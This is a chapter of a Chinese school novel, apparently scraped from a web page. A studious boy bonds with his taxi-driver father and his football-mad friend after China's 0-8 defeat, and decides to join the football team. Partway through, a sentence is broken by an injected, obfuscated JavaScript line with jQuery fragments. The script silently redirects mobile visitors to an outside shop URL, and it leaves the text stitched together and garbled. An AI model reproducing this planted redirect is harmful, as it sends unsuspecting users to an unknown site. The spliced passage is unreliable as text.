池静明人生中第一次睡过头儿，拜运动会的三千米所赐。
他又累又困，作业写到半拉就睡着了。将近十一点，唐静晚班到家就看见趴在餐桌上打呼的儿子，门儿都没敢进，还是刚停好车的池飞一嗓门“大儿砸”给喊醒的。
这起床迟了半小时，池静明把昨天的事儿全忘了。从被窝弹起，他随手穿上校服就跑出家门解手，从公厕出来才发现，一向早早出车的父亲池飞竟还在擦车。
“快，拿上早点，我送你去学校。”池飞把脏水泼在八宝坑粗矿的路上，用眼神招呼着。
池静明胡乱刷了两下牙，用水抹了把脸就着急忙慌出了门。上车系安全带的工夫，就听车窗被敲响，扭过去看，是唐静举着个煎饼。
池静明啃着烫乎的煎饼，神经松弛了下来。他知道以父亲的车技，从家到学校不过五分钟的时间。
就见池飞把手伸出车窗，将后视镜一别，头都不回地打起方向盘，狭窄的胡同拐角四周都挂满划痕，其中不可能有池飞的。
池静明好奇道：“爸你刚开出租那阵儿，也开得这么好吗？”
“哪儿能够啊，”池飞哈哈大笑，“那会儿进八宝坑还成，街坊四邻都给我指挥，轮到出的时候，车就在这几个旮旯较着劲，跟要难产似的。”
池静明跟着笑起来，煎饼的薄脆咔嚓咔嚓嚼，池飞连忙又跟了一句：“你捡捡，一会儿拉客人再坐人家一屁股渣子。”
“爸你今天怎么这么晚？”
“还说呢，昨晚写作业你都能写睡着，今儿早你妈就没喊你，寻思让你多睡会儿。”
“哦，下次还是叫我吧。”
“怎么？不想你爹送你？嫌丢人？”
“丢人？”池静明用手擦着车座套，“我巴不得全学校都知道我爸送我来上学呢。这不耽误你赚钱嘛。”
“儿子，什么钱不钱的。你开心，你妈开心，你爸就成了。”池飞换着挡，没看儿子的脸。
“开心就行啊？”
“对啊，人要是不开心，那还有什么劲。”
池飞的话池静明没接下去，大口吃下煎饼，才感觉到鼻子酸了。
“爸，我想考个好大学。”他忽然冒出一句。
“突然说这个干吗？”
“我要是能考个好大学，咱们仨就都能开心了呗。”
“儿子，我不担心你成绩。”池飞收起了笑容，“你知道我和你妈担心什么吗？你现在什么都好，不虚荣不乱玩还不早恋，我和你妈早就知足了。但我就是发现，你不怎么爱笑啊。不开心可不成。”
“我忙着学习呢。”
“你是学习，但学的都要吐血了，没点儿朝气。遇到什么事儿吧，你也大了，都不和我们讲，好不容易有个朋友，还是门对门的小夏。哎，有时候我就羡慕你杜奶奶，她家杜康整天活蹦乱跳的多好。这人活着就得找点儿乐子！”
头一次听有人觉得杜康的淘是好，池静明觉得蛮不讲理。
“杜康有咱‘胡同串子’的样儿。”
“这怎么听着像骂人啊爸。”
“真的，我们小时候也那样，大晚上停电，路灯不亮的时候我们就跑到大院儿围着烧火，你猜用什么当火引子？”
“用树叶子？”
“用我那十分儿的英语卷子。”
池静明笑到发抖。
不出五分钟学校的大门就映入眼帘，时间刚好七点，池静明松开安全带，煎饼已经吃完了，他打开门的那一刻，池飞喊住了他。
“儿子，去吧！高高兴兴的啊！”
池静明的乐子也不用他亲自找，杜康总能给他创造。
他好不容易把昨天稀里糊涂答应入足球队的事忘了，早上又迟到没空扯淡，课间他躲去老师办公室问数学题，也算是把杜康那欲言又止的脸搪塞了过去。
等到赵明明抱着作业本走进教室，池静明才突然想起，今天的九点是国足和巴西队的友谊赛。
杜康那欲言又止并不是想提足球队的事，他扔来一个又一个纸条，用文字解说着赛况。
上面密密麻麻的人名，被写得歪七扭八，什么内马尔、拉米雷斯，池静明看得费劲，只能看懂比分。
0-1、0-2，分差越拉越大，他索性懒得看了。
这可不是什么乐子，这算是羞辱。
“别扔了，”池静明有点儿忍无可忍，借着立起来的课本，朝杜康回话，“反正都是要输定了。”
“你不好奇为什么被进吗？”杜康把头伸到池静明耳鬓后。
好奇被进……池静明回头白了一眼，都研究怎么赢的，谁好奇怎么输的。
许久，杜康果然没再递纸条过来，课间都还在奋笔疾书，肯定没憋好屁。池静明不以为然，专心投入到紧接着的英语课上，眼看也要下课了，从身后飘过来一张纸。
翻开倒吓了池静明一跳。
一行横线被拆成两行，塞下杜康那笔烂字，勉强看完，池静明只觉得头皮发麻。杜康居然把整场比赛都撰写了下来。
最后的最后，落下两个数字，用短短的横线相连：0-8。
池静明看得触目惊心，三个圈，把他困在其中。
这是他从来没听闻过的惨剧。又或者他不是被数字吓到的，他是被杜康在经历如此洗礼，还能心平气和看完比赛，甚至记录整场而吓到的。
犹记去年暑假，类似的遭遇他仍然记忆犹新。
那晚隔着夏夜蝉鸣、空调噪音，低沉的哭声把池静明从汗流浃背的盛夏中惊醒。
他蹑手蹑脚地打着手电走出家门，在八月的燥热中，生生吓出寒意。巡查了半天才发现不是鬼，而是不知为何精神崩溃的夏逸梦，蹲在家门后哭泣。
他敲了敲那破旧的铁门，喊了声“逸梦”，女孩的哭声戛然而止。她缓缓把门打开，露出比鬼还恐怖的哭脸。
他们俩坐在大门口，默默地挨着困意，不知过了多久，夏逸梦才缓缓地说道：“我喜欢的球队，经历了一百年来最大的惨败。”
阿森纳当晚以2-8的比分，输给了曼联，具体输得如何，她没再详细描述，池静明也只给了个安慰的眼神，手足无措地发呆。
他不懂为什么有人会因八个时区外遥远的伦敦，那与他们生活八竿子打不着的足球，而痛哭流涕。
仅凭电视里那些像素组成的画面，安慰自己的生活，亦或者是影响自己的人生。
但看着杜康那密密麻麻的文字，整整两页，池静明醍醐灌顶。
他们并不仅仅是感同身受，他们在乐观的期盼中迎接失败，也许有愤怒有失望，但更多的是鲜活的热爱。
池静明把那张纸夹进英语书，没敢细研究更看不懂，其中的深意卡在心头。
中午吃过盒饭，楼道闹作一团，打游戏的扎堆，聊大天的四散。池静明被吵得难受，起身去开窗，视线随即往窗外挪，便看到正在抬人形立牌的杜康。
他冒着脑袋顶儿的日头，把一排立牌拖着往足球场上走，拖到球门前随便摆了个位置，就退到十来步外，不知从哪变出个球，用脚尖定好位置。
杜康抬头看向球门的右上角，池静明也刚好在看右下角的杜康，二人四目相对，都吓了一跳。
还是杜康反应快，朝着教学楼挥手，鬼使神差中池静明竟迈开了腿，走到了楼梯口，顺着台阶往下跳，他的脑海中跃出无限的问题。
走到足球场边时，杜康已经完成了射门，球在球网里滚动，人形立牌还□□在原地，看样子是脚不错的任意球。
池静明叉着腰站在底线旁，想坐又不太信任杜康的球技，干脆来回换着姿势，站得难受。
“你下来干嘛？”杜康看他浑身刺挠不免问道。
“不是你招呼我下来的？”池静明凑前了两步。
“得，您老肯下来，有何贵干？”杜康手一撒，球落在草皮上，“不会是看了我的国足大败实录，想拯救中国足球于水火，壮志雄心油然而生吧？”
此话一出，池静明顿时笑了：“如果能拯救失败的是初学者，那才是真要完了。”
“咚！”杜康扬起右脚，脚弓内侧柔软的地方用力捶打足球坚硬的皮囊，把大败的阴霾砸了个稀巴烂。
足球擦着门框的右顶点，踢进了池静明眼里，他站在球网背面，踩着那颗静止的足球，不由得发问：“你为什么喜欢踢球？”
隔着人形立牌，他看不到杜康的脸，默认对方的失语。
“输球了也喜欢吗？”
“……”
“输到0-8也喜欢吗？”
杜康的声音这才传来：“池子，你听不听歌？”
“这和输球有什么关系？”
“我在电视上听到一首歌，叫《追梦赤子心》，里面有一句：失败后郁郁寡欢，那是懦夫的表现，”
说还不够，他扯着嗓子开始喊道。
“向前跑！迎着泪眼和咆哮！生命的闪耀不坚持到底怎能看到，与其苟！延！残！喘！不如纵情燃烧吧！”
撕裂的嗓音顺着跑调的曲子传遍操场，池静明听得刺耳，连忙喊停。
“怎么了！这就是原调。这歌儿当时找了个伴奏结果调起高了，乐队没钱请人重弹，就这么高着唱，高怎么了，高也唱。就跟国足似的，明明知道要输，要大输特输，不也去踢了。”
“那你不失望吗？”
“也许失望吧，但失望怎么了，失望也踢。”
“不是……踢成这样，球员就不能为球迷们想想吗？”
“你不是球迷，你不喜欢足球，就像大部分中国人一样，都不喜欢足球，”杜康扒拉开人形立牌，义愤填膺地说道，“喜欢足球的人，必须接受失败。你知道什么是热爱吗？”
“热爱就要认真去比赛，而不是被进八个。”
“那是带着企图的！热爱是无论怎么样，都不能停，”杜康一板一眼地说，“热爱就是无论如何，都必须坚持，咬着牙坚持，坚持着哪怕多往前挪儿一步都成。”
“那你觉得前进了吗？国足不是一直都在输？这不就是一个错误一直在循环？”
“输怎么就是错误！比赛不就只有赢、输、平三种结果，只有赢才是对的吗？是，输的有理没理都是输，输就是输了。也跑了九十分钟，那你不如人家这事无关对错啊。帽子戏法的内马尔未来一定能拿金球奖，中国有谁能和人家比？意识不如、素质不如，全都不如，那比不过肯定要输。但是！输就是错吗！”
他的话把池静明唬住了。
“不都说什么足协不行，青训不行，基建不行，要我说先解决不喜欢足球的事儿！我爸就不喜欢足球，自然不乐意我踢球；你不喜欢足球，自然觉得踢球无用。”
“对啊！踢了又怎样？能有什么改变？能有什么好处？”
“池子，喜欢的事做就得了，你高兴就得了。哪怕就当个乐子呢……”
池静明深吸一口气，奋力把足球从球网中拯救出来，球没飞多远，滚到了杜康脚下。
“像夏逸梦，哪怕她连足球都没碰过，不还是喜欢，她也会看中国队的每一场球，因为她也懂，有的事儿只是经历就够了。至于成功、失败，赢了、输了，最终也都是我们这些普通人，普通一天中普通的两个小时。你也许羡慕那些能庆祝大胜的老外，但我不羡慕，说到底足球带给我们的都差不多，都是不能复制的经历。我踢比赛赢了输了我都高兴。中国足球赢了输了我都支持。”
池静明片刻才应了一嘴：“你说的，也许对吧……”
“这就是喜欢！我说得多道理啊！”
“我不知道……”池静明彻底迷茫了，“因为我还不喜欢足球……”
“那你喜欢什么呀？池静明你这人就忒无聊，你得承认啊，你真的挺无聊的！你又不喜欢学习，喜欢学习的人做题当娱乐，考试当度假，你是那人吗？你不是。”
“我是！我想考好大学，未来有好工作，不行吗？”池静明反驳道。
杜康把球抱在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17733275|209002||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
怀里：“池静明，那你他妈挺自虐啊，你不是有考试综合征吗？你知道你为什么害怕考试吗，因为你的生活就没个盼头，每个一丁点儿的不如意都能把你摁死。我劝你踢球，不是为了什么，你既帮不到球队也帮不到我，但你能帮你自己。”
父亲的话在耳边盘旋：人活着就得找点儿乐子。
池静明发现，足球不是乐子，足球是杜□□命的支点。
反观自己，他把组合的欲望放在空虚的生活中，任由时间把自己压扁，单薄的已经无法经历挫折。
池静明把目光从杜康身上卸下，指着远处的某个点：“去，你摆好。”说罢他像球场大驾光临的贵客，插着口袋走到足球旁。
也是站在这个点，他才发现，杜康那看似轻松的进球，原来去路全被人形立牌遮住，需要足球兜个弧线绕过障碍，才能打进球门。
快跑两步，铆足劲把心中隐忍的不甘发泄在这一脚上，池静明想象着足球的轨迹，模仿杜康用脚弓发力，计算该如何搓出曲线。
他控制得很好，球果真兜过了人形立牌，却笔直朝着教学楼飞去。
放学后池静明的脚仍然隐隐作痛，他的球踢飞了，他的生活好像正相反。
路上夏逸梦发现他话尤其少，问他怎么了，池静明也只解释因为国足输球了。到家吃晚饭时，唐静和池飞也感觉不对，问他怎么了，池静明也只解说因为国足输球了。
当然，就获得了目瞪口呆的两张脸。
以为儿子刚开学就学傻了，唐静无助地瞥瞥池飞，池飞也很无奈，怀疑自己早上的话适得其反了，谁都没想到怎么开口。
最终还是池静明放下筷子，像是下了很大决心说出一句：“我想去踢球。”
池飞饭碗差点儿没端住：“儿子，你现在开始，肯定是救不了国足了。你……你要干嘛啊？”
“爸你不也看世界杯吗？”池静明反问，“我也想体验一下踢球的快乐。”
“哦……那也行，不影响你学习就行，”唐静松了口气，“不过你还有空吗？”
“每周就三次训练，我琢磨应该不会对成绩有影响。而且看现在球队的情况，也参加不上任何比赛。”
“那就踢着玩呗。杜康不也是足球队的，你们正好一起。”池飞闻言也鼓励道。
“杜康好玩不好学，池子你也多拉着点儿他。就你杜奶奶一个人，快要管不动他了。”唐静多说了一句，倒惹起池静明的好奇。
“你们怎么不怕他把我带坏了？”
“哈哈哈！那孩子能坏到哪去，”池飞拿起二锅头，“杜康心思忒纯，为了踢个球敢逃课敢翻墙，但你让他抽烟喝酒耍朋友，他怕耽误他踢球。”
池静明好奇自个儿爹怎么对杜康如此了解，才听池飞解释道，路过杜家，杜奶奶总要拉上他聊几分钟，多半都是讲这个独孙的糗事，但又是炫耀的表情。
饭后写作业到十点半，池静明决定恢复夜跑，他拿着单词本出门，从“Abandon”开始过了一遍高考三千五百词的A部分。
跑着跑着就到了杜家大门旁，里面的灯还亮着，池静明不免有些吃惊，已经过了十一点，杜康还没睡。
正当他脚步放缓时，那扇木门心照不宣地也开了。杜康双手插兜腋下夹着卷手纸，趿拉着拖鞋就往外跑，一抬头便撞见端着单词本的池静明。
“好家伙吓我一跳，”杜康放低了声音，“怎么了，不赶早偶遇校花，改大半夜突袭了？”
“今天早上没起来，暂且改回晚上了。”池静明如实说道。
“你跑完了吗？没跑完就等我蹲个坑儿，有事儿找你。”
“正经事儿？”池静明狐疑道。
“保证正经！”说罢杜康夹着屁股蛋就跑，看样子是憋不住了。
池静明还差三圈，跑完差不多正好十五分钟，这是他估算的杜康蹲坑儿极限时长，便没加速往胡同更深处跑去。
秋意还不浓，杨树的叶子由油绿开始泛黄，晚风吹得人心旷神怡。
缠满藤蔓的路灯藏在树影里，昏黄的光线透过路边窗户和轿车后视镜，闪着暧昧的氛围。
池静明却站在公厕门口等人出恭。
待杜康扶着墙迈着颤抖的双腿走出，池静明显然有点儿烦了，但更多还是惊讶于对方惊人的耐力。
“你腿还能要吗？”他猜杜康此时一定是腿麻到像十万蚂蚁大军啃咬那样。
“别，别废话，还不是怪国足！我这不舌战群儒，在网上骂喷子呢吗？”
“你自己不当喷子就不错了……”池静明言不由衷地伸过手臂，杜康像抓救命稻草般拽着，快走到家门口才反应过来，“没洗手，别介意啊。”
“你不说我也没提啊……”
“得得，等我一会儿，”他转身进了屋，没出半分钟就抱着个盒子出来了，“给你的。”
池静明低头去看，是个鞋盒，里面是双白色的球鞋。
“老天爷啊，池静明最好是穿四十二码。”杜康双手合十做了个祈祷的动作。
“你怎么知道我穿多大码儿鞋？”池静明显然没料到。
“你多大脚，我多大鞋，”杜康撑着墙甩了甩头发，“这是我奶之前给我买的，还没穿就小了。既然你终于打算进足球队，送你了。”
池静明把鞋捧在手里百看不厌：“替我向杜奶奶说声谢。”
“别谢，明天给我一块钱。”杜康挥了挥手准备回家。
池静明没懂话字面的意思：“要一块钱干嘛？”
“送鞋就是‘送邪’，你给我一块钱，就当是你买的，图个吉利呗。”
“真迷信……”池静明嗤之以鼻。
“踢足球迷信点儿不然容易受伤，得了，您请回吧。”杜康用脚把门踢上，空留池静明在八宝坑六号院门口傻笑着。
他再一次打开鞋盒，欣赏那双全新的足球鞋，鞋底有数个凸起的短钉，他一一摸上去，才意识到，这是他人生第一次收到来自朋友的礼物。